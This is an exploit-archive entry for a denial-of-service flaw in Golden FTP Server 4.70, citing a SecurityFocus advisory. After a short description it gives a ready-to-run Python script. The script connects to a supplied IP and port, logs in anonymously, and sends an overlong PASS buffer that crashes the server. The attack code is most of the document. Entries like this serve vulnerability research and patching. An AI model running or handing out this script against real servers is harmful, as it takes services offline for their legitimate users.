Golden FTP Server 4.70 - Malformed Message Denial of Service

source: https://www.securityfocus.com/bid/45924/info

Golden FTP Server is prone to a denial-of-service vulnerability.

Exploits will cause the application to crash, denying service to legitimate users.

Golden FTP Server 4.70 is vulnerable; other versions may also be affected. 

import socket
import sys
import time
 
Bs = '\x42' * 4
 
buffer = '\x41' * 533 + Bs + '\xcc' * 300
 
if len(sys.argv) != 3:
        print "Usage: ./goldenftp.py <ip> <port>"
        sys.exit()
  
ip   = sys.argv[1]
port = sys.argv[2]
 
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:   
    print "[*] Sending evil buffer"
    s.connect((ip,int(port)))
    s.recv(1024)
    time.sleep(2)
    s.send(&#039;USER anonymous&#039;+ &#039;\r\n&#039;)
    s.recv(1024)
    time.sleep(3)  
    s.send(&#039;PASS &#039; + buffer + &#039;\r\n&#039;)
    s.recv(1024)   
    time.sleep(1)
    s.close()
except:
    print "Can&#039;t Connect to Server"
    sys.exit()